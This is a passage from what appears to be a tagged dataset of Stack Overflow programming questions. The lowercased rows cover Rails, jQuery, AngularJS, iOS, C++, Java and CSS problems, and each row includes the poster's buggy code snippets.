   text-decoration: none;
   padding: 10px;
 }
 
 #nav_wrapper ul li:hover {
   background: #ffffff;
   transition: all 0.45s;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= nav &gt;&lt;br&gt;
   &lt;div id= nav_wrapper &gt;&lt;br&gt;
     &lt;ul&gt;
       &lt;li&gt;&lt;a href= realindexpage.html &gt;home&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href= aboutus.html &gt;about us&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href= devs.html &gt;developers&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href= about5g.html &gt;s9 | s9+&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href= forum.html &gt;forum&lt;/a&gt;&lt;/li&gt;
       &lt;li&gt;&lt;a href= developments.html &gt;recent&lt;/a&gt;&lt;/li&gt;
     &lt;/ul&gt;
   &lt;/div&gt;</code></pre>
 </div>
 </div>",html
delete current user  im trying to make a button so users can delete their account but i am having trouble.    edit.html.erb   <pre><code>&lt;%= link_to  delete   @user  method: :delete   data: { confirm:  you sure   } %&gt; </code></pre>   users_controller.rb   <pre><code>before_action :logged_in_user  only: [:edit  :update  :destroy]  def destroy     user.find(params[:id]).destroy     flash[:success] =  account deleted      redirect_to root_path end </code></pre>   routes.rb   <pre><code>resources :users </code></pre>   this is what i have so far but the problem is that the link is going to the users page and not the destroy method in the controller.,ruby-on-rails
creating  shuffling  and dealing a deck of cards using classes in c++  ok  so i m working on a final project for a computer science class  and i m just having trouble grasping how to move forward with the assignment.    the criteria provided are: create a standard deck of 52 playing cards and list those cards on the screen. pause after the unshuffled deck is displayed.     shuffle  the deck and list the shuffled deck on the screen.  random_shuffle from  will work on a vector of cards    sort (by rank) and evaluate the first 5 cards of the deck as a  hand .  print the unsorted  then the sorted hand.    then we have to check for things like pairs  three of a kind  full house  straights  flushes  etc. (which i m pretty confident i can handle)    the professor gave us this code as an idea for a card class to go off of:   <pre><code>#ifndef card_h  #define card_h   class card { public:     card();      // set and get the rank  2=2  3=3  ... 10=10  11=j  12=q  13=k  14=a     void setrank(int r);     int getrank();      // set and get the suit  1=spades  2=hearts  ...     void setsuit(int r);     int getsuit();      // for debugging  print the suit and rand as integers     void print();      // return the rank and suit as a  nice  looking string     void tostring();  protected: private:     int myrank;     int mysuit; }; #endif // card_h </code></pre>   reading around  it seems like i may need to make deck and hand classes too  but because their goals and restrictions always seemed to be different  i m just not sure how to really proceed with this. i m pretty confident that once i figure out which classes i ll need and how to make them play nice together and initiate properly  i ll be able to piece it all together and finish the rest rather easily.     could anyone point me in the right direction on this,c++
why aren t my blogs showing up   i have a method  blog  in blogs/index  i have the following code:   <pre><code>&lt;html&gt;   &lt;head&gt;    &lt;/head&gt;   &lt;body&gt;     &lt;% @blogs.each do |blog| %&gt;     &lt;h3&gt;&lt;%= @blog.try(:title) %&gt;&lt;/h3&gt;     &lt;div&gt;&lt;%= @blog.try(:body) %&gt;&lt;/div&gt;     &lt;% end %&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   when i got to <a href= http://localhost:3000/blogs  rel= nofollow >http://localhost:3000/blogs</a>  nothing is showing up. what is the probelm,ruby-on-rails
parse.com open endpoints for ios  i have an ios app that uses a parse backend.    is it possible for someone to jailbreak their iphone  decompile my app  modify the code and send custom requests to my parse app backend using one s own app keys,ios
jquery: run function on newly appended elements  the setup:    i m using masonry along with infinite scroll  i m also using a plugin called jquery adaptive backgrounds  which extracts the dominant colour of an image and applies it to the images background.    <pre><code>jquery(function($) {     var $container = $( #container );     // initialize     $container.masonry({          isfitwidth : true           columnwidth :  .item-post           itemselector:  .block      });     var $container = $( #container );     $container.infinitescroll({         navselector:  #nav-below   // selector for the paged navigation         nextselector:  #nav-below a.next   // selector for the next link (to page 2)         itemselector:  .block   // selector for all items you ll retrieve         loading: {             finishedmsg:  &lt;div class=\ loading\ &gt;fin.&lt;/div&gt;               img:  http://passets-ak.pinterest.com/webapp/style/app/common/images/spinner-medium-1x.34fc0f10.gif               msgtext:  &lt;div class=\ loading\ &gt;loading the next set of posts...&lt;/div&gt;               speed:  fast      }      }              function(newelements) {                 var $newelems = $(newelements).css({                     opacity: 0                 });                 $newelems.imagesloaded(function() {                     $newelems.animate({                         opacity: 1                     });                     $container.masonry( appended   $newelems);                 });             }); }); </code></pre>   adaptive backgrounds is called with  $.adaptivebackground.run(); now i could just stick that inside function (newelements); and it d call it each time new posts are loaded.  the problem with that is that it s very inefficient (noticeably so) because it runs it on every element  even the ones it s already done it on.    my question is how do i run $.adaptivebackground.run(); only on elements newly appended to #container and not the ones that are already there,jquery
sharing file for reading and writing in .net  i am trying to figure the fileaccess / fileshare combination that will allow me opening a file for reading  and then opening it for writing. so far the next two lines of the test code are giving me <code>unauthorizedaccessexception</code> on the second line:     <pre><code>stream s1 = file.open(name  filemode.open  fileaccess.read  fileshare.readwrite); stream s2 = file.open(name  filemode.open  fileaccess.readwrite  fileshare.read); </code></pre>   in real life i have a web application which (server side) uses certain zip with data. several handlers are taking files from this archive  and one handler tries to update it. so in practice these two lines are most likely to be in the different threads of the same iis application pool.,.net
how to get class instance having its method  the code below prints:     <code>id: 4543706010  method: &lt;bound method object.printmessage of &lt;__main__.object object at 0x10ed47390&gt;&gt;</code>    ...   <pre><code>class object(object):      def __init__(self):         self.id = id(self)      def printmessage(self):         print  hello world   obj = object() method = obj.printmessage print(method) </code></pre>   ...    how to get the value of the class instance s attribute <code>id</code> with <code>method</code>     which is only a <code>&lt;bound method object.printmessage of &lt;__main__.object object at 0x10ed47390&gt;&gt;</code>    <h3>answer</h3>  <pre><code>obj_copy = method.__self__ print obj_copy==obj </code></pre>   results to: <code>true</code>,python
why do i get an infdig error   i m getting an <code>infdig</code> error where i have <code>scope.$apply</code> in the code below. why is this happening  i ve tried quite a lot of things and looked through a lot of docs and blogs but i still can t seem to figure this out :(    index.js.coffee   <pre><code>fantasycricket = angular.module( fantasycricket   [() -&gt;     # initialises parse sdk.     parse.initialize( ####    #### )      # initialises parse facebookutils.     parse.facebookutils.init({         appid:  ####          cookie: true         xfbml: true     }) ])  fantasycricket.filter( sortbycricket   () -&gt;     lastoutput = null     lastinput = null     (cricketers) -&gt;         if lastinput isnt cricketers             lastoutput = cricketers.sort((a  b) -&gt;                 pts = b.total - a.total                 if pts is 0 then a.value - b.value else pts             )         else             lastoutput )  fantasycricket.factory( players   () -&gt;     found = false     obj = {         data: {             all: []         }         getall: (scope  force) -&gt;             if (found is false) or (force is true)                 (new parse.query(parse.object.extend( player ))).find().done((players) -&gt;                     obj.data.all.push.apply(obj.data.all  players.map((player) -&gt;                         newplayer = player.attributes                         newplayer.id = player.id                         newplayer.total = newplayer.batpts + newplayer.bwlpts + newplayer.fldpts + newplayer.wins + (newplayer.matches * 2)                         newplayer                     ))                     found = true                     scope.$apply()                 ).fail((err) -&gt; alert( failed to load players. ))     } )  fantasycricket.factory( settings   () -&gt;     found = false     obj = {         data: {             players: 0             budget: 0             transfers: 0         }         get: (scope  force) -&gt;             if (found is false) or (force is true)                 (new parse.query(parse.object.extend( setting ))).find().done((settings) -&gt;                     settings.foreach((setting) -&gt;                         obj.data[setting.get( key )] = setting.get( value )                     )                     found = true                     scope.$apply()                 ).fail((err) -&gt; alert( failed to load settings. ))     } )  fantasycricket.controller( playersctrl   [ $scope    players   ($scope  players) -&gt;     $scope.players = players.data     players.getall($scope) ])  fantasycricket.controller( infoctrl   [ $scope    settings   ($scope  settings) -&gt;     $scope.settings = settings.data     settings.get($scope) ]) </code></pre>   index.html.jade   <pre><code>head     meta(charset= utf-8 )     title badsey fantasy cricket     script(src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.16/angular.min.js )     script(src= https://www.parse.com/downloads/javascript/parse-1.2.18.min.js )     script(src= vendor/facebook/all.js )     link(rel= stylesheet   href= index.css )  body()     div(ng-app= fantasycricket )         #info(ng-controller= infoctrl )             | budget: {{settings.budget}}              | transfers: {{settings.transfers}}              | players: {{settings.players}}          #players(ng-controller= playersctrl )             table                 thead                     tr                         th.name name                         th.more mp                         th.more wins                         th.more bat                         th.more bwl                         th.more fld                         th total                         th value                 tbody                     tr(ng-repeat= player in (players.all | sortbycricket)  class= {{true    yolo  :  troll }} )                         td.name {{player.name}}                         td.more {{player.matches}}                         td.more {{player.wins}}                         td.more {{player.batpts}}                         td.more {{player.bwlpts}}                         td.more {{player.fldpts}}                         td {{player.total}}                         td {{player.value}}      script(src= http://code.jquery.com/jquery-2.1.1.min.js )     script(src= index.js ) </code></pre>,angularjs
comparing nsarray with keys with a nsstring  i am downloading json objects and passing them to a <code>nsmutablearray</code>. on another view controller  i received the <code>nsmutablearray</code> converted to a <code>nsarray</code>.    here is the code in the view controller where i get the <code>nsarray</code> items received from json:   <pre><code>-(void)itemsdownloaded:(nsarray *)items {     // this delegate method will get called when the items are finished downloading      // set the downloaded items to the array     _feeditems = items;    //i need to iterate items and compare name value from each   //from each item with a string    } </code></pre>   the array has four keys: name  latitude  longitude  state.    what i need is to compare all the array objects name value with a nsstring.,ios
which is the best way to create file and write to it in java  i normally use <code>printwritter</code> object to create and write to a file  but not sure if its the best in terms of speed and security compare to other ways of creating and writing to a file using other approaches i.e.    <pre><code>writer writer = new bufferedwriter(              new outputstreamwriter(              new fileoutputstream( example.html )   utf-8 ));    writer.write( something ); </code></pre>  <h2><code>vs</code></h2>  <pre><code>file file = new file( example.html ); bufferedwriter output = new bufferedwriter(new filewriter(file));           output.write( something ); </code></pre>  <h2><code>vs</code></h2>  <pre><code>file file = new file( example.html ); fileoutputstream is = new fileoutputstream(file); outputstreamwriter osw = new outputstreamwriter(is);     writer w = new bufferedwriter(osw); w.write( something ); </code></pre>  <h2><code>vs</code></h2>  <pre><code>printwritter pw = new printwriter( example.html    utf-8 ); pw.write( something ); </code></pre>   also  when to use one over the other; a use case scenario would be appreciated. i m not asking for how to create and write to file  i know how to do that. its more of compare and contrast sort of question i m asking.,java
nsmutabledata convert to nsstring  why data not similar with <code>objnsdata</code>      <pre><code>nsstring *strdata = @ bonjour tout le monde  je voudrais vous présenter la société fdfdfdf  futur ; nsmutabledata *objnsdata = [nsmutabledata datawithdata:[strdata datausingencoding:nsutf8stringencoding]];  objnsdata = [objnsdata encryptaes:@ samplekey ];   nslog(@ objnsdata%@   objnsdata);  nsstring *str=[[nsstring alloc] initwithdata: objnsdata encoding:nsutf8stringencoding];  nslog(@ str%@  str);  nsmutabledata *data = [[nsmutabledata alloc] initwithdata:[ str datausingencoding:nsutf8stringencoding]];  nslog(@ data%@  data); </code></pre>,iphone
how can we get values of dynamic element using jquery  <pre><code>&lt;td class= invert-price &gt;${{$cartproduct-&gt;product_price}}&lt;/td&gt; </code></pre>   jquery    <pre>     $( .value-plus ).on( click   function(){     var divupd = $(this).parent().find( .value )  newval = parseint(divupd.text()  10)+1;     divupd.text(newval);     var plus = $( .invert-price ).html();     if(plus.charat( 0 ) ===  $  )     plus = plus.slice( 1 );     plus = plus*2;     $( .invert-price- ).html( $ +plus);                                                                                }); </pre>   i changed td class.   <pre><code>&lt;td class= invert-price-{{$cartproduct-&gt;id}} &gt;${{$cartproduct-&gt;product_price}}&lt;/td&gt; </code></pre>   table->tr   <pre><code>  @foreach($cartproducts as $cartproduct)                 &lt;tr class= rem{{$cartproduct-&gt;id}} &gt;                     &lt;td class= invert &gt;{{$count}}&lt;/td&gt;                     &lt;td class= invert-image &gt;&lt;a href= single.html &gt;{{ html::image( upload/product/ .$cartproduct-&gt;product_image  $cartproduct-&gt;product_image [ height =&gt;  200   width =&gt; 200   class =&gt; img-responsive ]) }}&lt;/a&gt;&lt;/td&gt;                     &lt;td class= invert &gt;                          &lt;div class= quantity &gt;                              &lt;div class= quantity-select &gt;                                                            &lt;div class= entry value-minus &gt;&amp;nbsp;&lt;/div&gt;                                 &lt;div class= entry value &gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;                                 &lt;div class= entry value-plus active &gt;&amp;nbsp;&lt;/div&gt;                             &lt;/div&gt;                         &lt;/div&gt;                     &lt;/td&gt;                     &lt;td class= invert &gt;{{$cartproduct-&gt;product_name}}&lt;/td&gt;                     &lt;td class= invert &gt;$5.00&lt;/td&gt;                     &lt;td class= invert-price-{{$cartproduct-&gt;id}} &gt;${{$cartproduct-&gt;product_price}}&lt;/td&gt;                     &lt;td class= invert &gt;                         &lt;div class= rem &gt;                             &lt;div class= close1  data-id= {{$cartproduct-&gt;id}}  data-token= {{ csrf_token() }} &gt; &lt;/div&gt;                         &lt;/div&gt;                         &lt;script&gt;$(document).ready(function(c) {                             $( .close1 ).on( click   function(c){                                                                 var id = $(this).data( id );                                                                  var token = $(this).data( token );                                                          $.ajax({                                                                                 url:  removecartitem/ +id                                                                                  type:  delete                                                                                   datatype:  json                                                                                   data: {                                                                                      id : id                                                                                       _method :  delete                                                                                        _token : token                                                                                  }                                                                                 success: function ()                                                                                 {                                                                                     $( .rem + id).fadeout( slow );                                                                                 }                                                                                 });                                 });                             });                        &lt;/script&gt;                     &lt;/td&gt;                 &lt;/tr&gt; &lt; php $count++;  &gt;                                     @endforeach </code></pre>   what i want is that when i click on increment button price got doubled in my case price got doubled of every price element(td). so i added id with td class  class= invert-price-{{$cartproduct->id}} . i don t know how to get values of dynamic element using jquery. so please help me.,jquery
jquery. call one property-function from another  i have a <code>$form.validate</code> -class in which i would like to be able to call one property-method from another. is this possible    <pre><code>$form.validate({    onfocusout: function(element) {     // in this property-function i would like to go call invalidhandler like a method   }     invalidhandler: function (event  validator) {     // do stuff   } </code></pre>,jquery
css select tag without first-child  with css i want to select the <em>li</em> without description  without <em>first-child =  b</em>    to apply a padding-letf  on the li without title html   <pre><code>&lt;ul&gt;     &lt;li&gt;&lt;b&gt;title&lt;/b&gt;description&lt;/li&gt;     &lt;li&gt;&lt;b&gt;title&lt;/b&gt;description&lt;/li&gt;     &lt;li&gt;description without title&lt;/li&gt;     &lt;li&gt;&lt;b&gt;title&lt;/b&gt;description&lt;/li&gt; &lt;/ul&gt; </code></pre>   something like   <pre><code>ul li:not[first-child=b] </code></pre>   ps: i cannot add a class to the different li    thank you,css
how do i get the last part of an ip address string in php  if i have an ip such as:   <pre><code>195.123.321.456 </code></pre>   how do i get just the <code>456</code> as a variable,php
accessing information in [anyhashable : any] as nsdictionary  i am in the process of converting my code from objective c to swift. i have a code the calls an objective c method from a swift method. the obj c method returns an nsdictionary. apparently swift see this object as a type <code>[anyhashable : any]</code>. how do i read the information for this type  for example for a nsdictionary i would say <code>nsstring *s = [dict objectforkey: key ]</code>. what do i call in swift to access the value in type <code>[anyhashable : any]</code>     thanks,ios
making checkbox checked dynamically using setchecked(true)  i have a listview and each row of listview has a checkbox  now i  want to dynamically check or uncheck checkboxes according to data coming from database  for this i am using checkbox.setchecked(true) method  but checkboxes are not properly checked and unchecked according to data coming from database  please anyone help me. thanks in advance. here is my code :   <pre><code>public class adaptor_categorylist extends arrayadapter&lt;category&gt; { public context mcontext; public arraylist&lt;category&gt; listcategory; public layoutinflater inflater; // public oncheckedchangelistener listnercheckbox; public oncheckedchangelistener listnercheckbox;  // this arraylist for making checkbox checked and unchecked public arraylist&lt;integer&gt; listcatids;  public adaptor_categorylist(context context  int resource          list&lt;category&gt; objects  oncheckedchangelistener listener          arraylist&lt;integer&gt; listids) {     super(context  resource  objects);     // todo auto-generated constructor stub     mcontext = context;     listcategory = (arraylist&lt;category&gt;) objects;     inflater = (layoutinflater) mcontext             .getsystemservice(context.layout_inflater_service);     listnercheckbox = listener;     listcatids = listids;  } // constructor ends  public view getview(int position  view convertview  viewgroup parent) {     view holder = convertview;     if (holder == null) {         holder = inflater.inflate(r.layout.dialog_categorylist  null);     }     if (listcategory.size() != 0) {         textview txtname = (textview) holder                 .findviewbyid(r.id.edititem_dialogtxtname);         checkbox checkcategory = (checkbox) holder                 .findviewbyid(r.id.edititem_dialogcheckbox);         checkcategory.settag(position);         checkcategory.setoncheckedchangelistener(listnercheckbox);         // checkcategory.setoncheckedchangelistener(listnercheckbox);         category objcategory = listcategory.get(position);         if (objcategory != null) {             if (listcatids.size() &gt; 0) {                 // code for making checkbox checked accroding to item                 // category                  for (int i = 0; i &lt; listcatids.size(); i++) {                     int catid = listcatids.get(i);                     int id = objcategory.getcatid();                      if (id == catid) {                          checkcategory.setchecked(true);                          system.out                                 .println( checkbox is checked ////// id is                                            + id);                     } else {                         checkcategory.setchecked(false);                      }                 }             }             string strname = objcategory.getname();             if (strname != null) {                 txtname.settext(strname);              }         }     }     return holder; }// method ends </code></pre>   } // final class ends    here is my listener defined in other activty:   <pre><code>compoundbutton.oncheckedchangelistener listenercheckbox = new compoundbutton.oncheckedchangelistener() {      @override     public void oncheckedchanged(compoundbutton buttonview              boolean ischecked) {         // todo auto-generated method stub         try {             // adding item to category on checkbox checked             if (ischecked) {                 object tag = buttonview.gettag();                 if (tag != null) {                     int position = (integer) tag;                     category objcat = listcategory.get(position);                     int catid = objcat.getcatid();                     db.open();                     long rowid = db.additemtocategory(itemid  catid);                     // toast.maketext(mcontext                      //  add id is +rowid toast.length_long).show();                      db.close();                 }              }             // removing item from category on checkbox unchecked             else if (!ischecked) {                 object tag = buttonview.gettag();                 if (tag != null) {                     int position = (integer) tag;                     category objcat = listcategory.get(position);                     int catid = objcat.getcatid();                     db.open();                     long rowid = db.deleteitemfromcategory(                             itemid +   .trim()  catid +   .trim());                     db.close();                  }              }         } catch (exception e) {             // todo: handle exception         }      } }; </code></pre>   however  this log system.out.println( checkbox is checked ////// id is   + id); printed on logcat when if condition satisfies but checkbox do not change its state.please provide me some suggestion.,android
python printing a 2d list with infinite user inputs  i m trying to complete this code where it will ask the user for an input of what their name is and what their favorite food is and it will continously ask the user if they want to add more data. at the point where the user inputs  n  i need the full table to print out with all of the inputs together  anyone know how to do this instead of just one by one    <pre><code>def get_string_inputs (p) :         requests the string data and returns it        strdata=input( please enter {0} :  .format(p))     return strdata  def add_data_rows () :         adds data to the row array        meal_details = [ ]     #the helper function is used here     name = get_string_inputs( your name  ).capitalize()     meal_details.append(name)     favourite_meal = get_string_inputs( your favourite food ).capitalize()     meal_details.append(favourite_meal)     return meal_details  def main() :        runs all functions        favmeal = []     header=[ name   favourite meal ]     favmeal.append(header)      meal_details = add_data_rows()     favmeal.append(meal_details)     for a b in favmeal:         print( {0:16}{1:&lt;16} .format(a b))     while true:             valid_option = [ y   n ]         question = input( would you like to add more data  (y/n):  ).upper()         if question in valid_option:             if question ==  y  :                 main()             if question ==  n  :                                break     else:         print( that is not a valid choice  please enter y or n ) main() </code></pre>,python
html: how to redirect traffic to a different web address   html:  how to automatically redirect traffic from my webspace to a different web address using html  i am new to this.  i and am just trying to redirect traffic from my webspace to a facebook page.  itunes does not allow my facebook page address to be placed there due to it s length. so i need a relay buffer.  if there is an easier way of doing this let me know.    thanks,html
how do you access a webmethod in class library   i have a custom class library that performs validation. i want to open up this class for use within javascript. i understand that i can easily achieve this by utilizing webservices/wcf or by creating a function on my page with the webmethod attribute  but it d be nice not to have to set all that up for every project.    ideally i d like to just add the webmethod attribute to my class library methods and then call them using javascript.,asp.net
regarding a specific c variable  it is a simple question  what does this set srcpkt to    <pre><code>extern packetstruct rxpacket[num_packets]  txpacket[num_packets]; extern ipmbpacketrequeststruc *srcpkt;   srcpkt = (ipmbpacketrequeststruc *)&amp;(rxpacket[i].packetdata[0]); </code></pre>   i have a solid understanding of c and c++ but pointers have always been my weak point. this line of code seems to set the pointer srcpkt to point to the reference of rxpacket[i].packetdata[0]    i am only partly confident with what i believe is the correct answer  i just want some validation. edit:   <pre><code>typedef struct {   unsigned char status;   // buffer status   unsigned char stat2;    // re-send status   unsigned char channel;    // channel source/destination   unsigned char length; // total # of bytes in packetdata   unsigned char index;  // current byte being processed in packetdata   unsigned char packetdata[ipmb_maxdatalength]; } packetstruct;  typedef struct {     unsigned char rssa;     unsigned char netfnrslun;     unsigned char cksm1;     unsigned char rqsa;     unsigned char rqseqrqlun;     unsigned char cmd;     unsigned char pktdta[37];   // rest of packet data } ipmbpacketrequeststruc; </code></pre>,c
dismissing view controllers and then presenting them  i have an application that has 3 view controllers.    the first one presents the second one and the second one then presents the third one. i then have a button that i want to bring me back to the first view controller. this button works. however  i try to present the 2nd view controller from the first and then the 3rd view controller from the 2nd again. presenting the 2nd view controller works fine  but presenting the 3rd view controller doesn t work. i get the error:     warning: attempt to present  on  whose view is not in the window hierarchy!    the first view controller is the main menu to the game  the second view controller is where the game occurs and the third view controller is the end result screen. is there a better way to do it than my way     does anyone have a solution  thanks in advance.,ios
links do not respond to click event  after adding the following script  the links (like  <code>&lt;a href= http://www.example.com &gt;example.com&lt;/a&gt;</code> stopped working. they do not respond to click events anymore.<br><br> could somebody please help me to solve this problem    <pre><code>$(document).ready( function() {     $( .show ).click(function() {         $( .show ).hide();         $( .hide ).show();         $( #cpks-table ).fadein();     }); });  $(document).ready( function() {      $( .hide ).click(function() {         $( .show ).show();         $( .hide ).hide();         $( #cpks-table ).fadeout();     });      $( .hide ).click(function(){     $( html  body ).animate({scrolltop : 0} 800);     return false;     });      $(  .tggl  ).click(function() {          $( .show ).fadetoggle();         $( .hide ).fadetoggle();     $(  #cpks-table  ).fadetoggle();     });   $(document).on( click    a   function(event){ event.preventdefault();  $( html  body ).animate({     scrolltop: $( $.attr(this   href ) ).offset().top-100 }  500); });  }); </code></pre>,jquery
should text always be enclosed in a html tag   say i have an input field and next to it i have text.  should the text always be enclosed in a html tag   if so why    <pre><code>first name: &lt;input type= text  name= fname &gt; </code></pre>   vs   <pre><code>&lt;label for= fname &gt;first name:&lt;/label&gt; &lt;input type= text  name= fname &gt; </code></pre>,html
css - how to code for a specific resolution  i am designing html/css interface for a 1920x1080 touchscreen. it will always be that resolution  never changing. should i set width and height to those dimensions and code from there  or should i code in percents at whatever size resolution i m at and then allow it to adjust to a bigger screen  i am looking for the solution what poses the least roadblocks.,css
de-angularize a hefty databound table  we have a data-bound table that is dynamically built from an array of objects. there are 2 loops  one for columns and one for rows. there are some filters for formatting for each cell based on the type of data. without paging the page comes down to its knees pretty soon with about 600 records or so. chrome is ok but ie is not. i did remove the filters etc. but it is not making a huge difference.     i think the angular nature of the binding is slowing it down. is there a way to just do a one way binding / templating that does not have the additional overhead that comes with the normal bindings  something similar to handlebars  i can probably write a directive that takes care of that but would like to use something built in if possible.    extra note: i don t think i have the option to use some other pre-built datagrid as we have our own look and feel in the app and i would rather not try to customize that to fit in.,angularjs
is the hard coded value in function argument a const reference   why does the following program fail to compile:   <pre><code>#include&lt;iostream&gt; using namespace std;  int fun(int &amp;x) {     return x; } int main() {     cout &lt;&lt; fun(10);     return 0; } </code></pre>   it gives the following compilation error: invalid initialization of non-const reference of type  int&amp;  from an rvalue of type  int     to make it compile successfully   i have 2 options: 1. we have to use  int fun(const int &amp;x)  instead of  int fun(int &amp;x)  2. use  int i=10;cout &lt;&lt; fun(i);  instead of  cout &lt;&lt; func (10)     so  it seems like   if we pass a hard coded value to a function   it will be treated like  const reference .    am i right here  or is there any other reason that above program doesn t compile,c++
how do you default an image s right edge in a css overflow div   i have the following on a page:   <pre><code>&lt;div style= max-width: 600px; overflow-x: scroll; &gt;   &lt;a href= poolpanoramabig.jpg  target= _blank &gt;     &lt;img src= poolpanoramabig.jpg  style=  /&gt;   &lt;/a&gt; &lt;/div&gt; </code></pre>   if the image is wider than 600px then you can scroll the image to the left to see the rightmost part. however  i want to default it so that it is already scrolled fully to the left when initially displayed.    i ve tried setting a style in the image to float:left which works but that disables the horizontal scrollbar.    ideas     edit: here s a page that might help explain what i m trying to do: <a href= http://guyellisrocks.com/ie-example/  rel= nofollow noreferrer >http://guyellisrocks.com/ie-example/</a> do you see how you have to move the scroll bar to the right to see the right most edge of the image  i d like it to default to that when you first hit the page.    i don t have a problem doing this in javascript and if that s possible some hints would be appreciated. otherwise if it s possible to do this with css then this is how i would first attempt to do this.,css
pointer to existing object   ok so i have a class that i init like so in <code>quicknotenotesdatacontroller.m</code>   <pre><code>quicknotenotesdatacontroller *datacontroller = [[quicknotenotesdatacontroller alloc] init]; </code></pre>   then i need to be able to access the same instance of this class from another file <code>quicknotedetailviewcontroller.m</code>    how do i get a pointer to the same instance without calling alloc init again and creating a new instance,objective-c
is better to think of the  =  operator as morphing   this is probably a trivial question.     i have minimal background in c++ and if i remember correctly i have been told to think of this operator this way:   <pre><code>int x = 1 y = 2; x = y; //put whatever is in y into x;  </code></pre>   but after reading about lvalues and rvalues  i think its more suitable to think of it this way: morph (change) whatever is in x into whatever is in y.  the reason i think this is because the object that is referenced by x semantically is still the same object right,c++
test if user selects one or more checkboxes  in a rails 3.2 app  i want to validate in a model that the user selects one or more checkboxes.  i don t want them all false.    this is my attempt:   <pre><code>if !(source_contractor  ^ source_other  ^ source_sqft_cost  ^ source_rs_means  ^ source_facilities_management )   errors.add(:base   specify estimate source ) </code></pre>   thanks for the help!,ruby-on-rails
change a property with a loop  i have 10 labels and a object with 10 properties. i want to have a loop that put on the first label the first property of the object  on the second label the second property from the object and so on..    my problem is to change the property name of the object with the loop because it isn t a string...   <pre><code>_label1.fill = object .color1;      _label2.fill = object .color2;     _label3.fill = object .color3;  </code></pre>,c#
check whether input field is empty in controller - angularjs  i just started learning angularjs. in a testing program i wrote  i need to check whether my input field is empty or not inside the controller(script).     following is the code i wrote   <pre><code>&lt;div ng-controller= examplecontroller &gt;     &lt;input type= text  ng-model= userfirstname  required/&gt;&lt;br&gt;     &lt;p ng-bind= msg &gt;&lt;/p&gt; &lt;/div&gt;  &lt;script&gt;     var mainapp = angular.module( mainapp   []);     mainapp.controller( examplecontroller   function ($scope) {         if($scope.userfirstname.length === 0){           $scope.msg =  pls enter something ;        }else{           $scope.msg =  something entered ;        }     }); &lt;/script&gt; </code></pre>   here  as the output  i expected to see <code>pls enter something</code>. but i cannot see anything.     but if i change the script in to following with some small changes  it shows me <code>something entered</code> as expected.    <pre><code>&lt;script&gt;    var mainapp = angular.module( mainapp   []);    mainapp.controller( examplecontroller   function ($scope) {         $scope.userfirstname =  something ;         if($scope.userfirstname.length === 0){              $scope.msg =  pls enter something ;         }else{              $scope.msg =  something entered ;         }    }); &lt;/script&gt; </code></pre>   what is wrong here  as far as i understand  the first one should work if the second one works as expected. otherwise  both should not work.     i think i have not understood something very basic. if so  please describe me what i have not read about.     thank you..!,angularjs
angular $compile and passing variable to directive  i have a directive that accepts a variable...   <pre><code>scope: {             tasks:  =          } </code></pre>   i m doing this...    <pre><code>compiled = $compile(template)(scope); element.append(compiled);  </code></pre>   how do i set the tasks argument on the directive     thanks,angularjs
android: update preferencefragment ui after device admin permission revoked  i have implemented a <code>deviceadminreceiver</code> to get notified when my app gets removed from the device admin apps. i also have a setting in my <code>preferencefragmentcompat</code> that requires the device admin to be enabled.    so i set that preference to false when device admin is disabled using   <pre><code>override fun ondisabled(context: context  intent: intent) {     preferencemanager.getdefaultsharedpreferences(context)             .edit()             .putboolean( turn_off_screen  false)             .apply() } </code></pre>   but i noticed  that this does not update the ui of my preference screen  if it s open in the background while i revoke the device admin permission.     how can i invalidate the ui of my <code>preferencefragmentcompat</code> from outside of an activity,android
why is ternary operator returning false   i can t really seem to figure this out. i have a ternary operator and the value it returns for the  password  key is false. i have no idea why.  any help would be really appreciated    <pre><code>$values =     [          password  =&gt; empty(trim($this-&gt;user_info[ password ])   $this-&gt;randompassword() :  password_hash(trim($this-&gt;user_info[ password ]) password_default))     ]; </code></pre>   i have did a var dump on both <code>this-&gt;user_info[ password ]</code> and  $this->randompassword()  and they both return a value   <pre><code> private  function randompassword() {         $alphabet =  %83ru8%1gu!zn&lt;&gt;tn2j{\&gt;u -2fg|565k5h0t9j29vljpms(=90[oe+is[ _(~uf}vw/(3uk ;         $pass = array(); //remember to declare $pass as an array         $alphalength = strlen($alphabet) - 1; //put the length -1 in cache         for ($i = 0; $i &lt; 14; $i++) {             $n = rand(0  $alphalength);             $pass[] = $alphabet[$n];         }         return implode($pass); //turn the array into a string     } </code></pre>,php
i need to display a student s numerical mark in a class as well as their letter grade. my code does not output the letter. how can i fix this  <pre><code>import java.io.*; class finalgrade {     //declare variables     string name;     double quiztotal = 0;     double midterm = 0;     double exam = 0;     double mark = 0;     char grade;       //initialize variables     public finalgrade (string namestudent  double quizmark  double midtermmark  double exammark)     {         name = namestudent;         quiztotal = quizmark;         midterm = midtermmark;         exam = exammark;     }      public double marks()     {         mark = ((exam * 0.25) + (midterm * 0.25) + (quiztotal * 0.50));          system.out.println((name) +    your mark is   + (mark) +   and you get a(n)   + (grade));          if (mark &gt;= 90)         {             return (grade) =  a ;         }         else if (mark &gt;= 80 &amp;&amp; mark &lt; 90)         {             return (grade) =  b ;         }         else if (mark &gt;= 70 &amp;&amp; mark &lt; 80)         {             return (grade) =  c ;         }         else if (mark &gt;= 60 &amp;&amp; mark &lt; 70)         {             return (grade) =  d ;         }         else if (mark &lt; 60)         {             return (grade) =  f ;         }         else         {             return (grade) =  f ;         }       } }    class finalgradetester {     public static void main(string[] args)     {     inputstreamreader instream = new inputstreamreader(system.in);     bufferedreader sub = new bufferedreader(instream);      finalgrade student1 = new finalgrade( student   89  100  21);     finalgrade student2 = new finalgrade( student   34  21  9);     finalgrade student3 = new finalgrade( student   89  100  21);     finalgrade student4 = new finalgrade( student   89  100  21);     finalgrade student5 = new finalgrade( student   89  100  21);      student1.marks();     student2.marks();      }  } </code></pre>   this is supposed to calculate the mark  two tests worth 25%  and an exam worth 50%. it works fine for the calculations but when displaying the letter grade it is blank. i do not know how to fix this. the output i get when i run the code is: student  your mark is 74.75 and you get a(n) student  your mark is 24.5 and you get a(n)    it does not display the 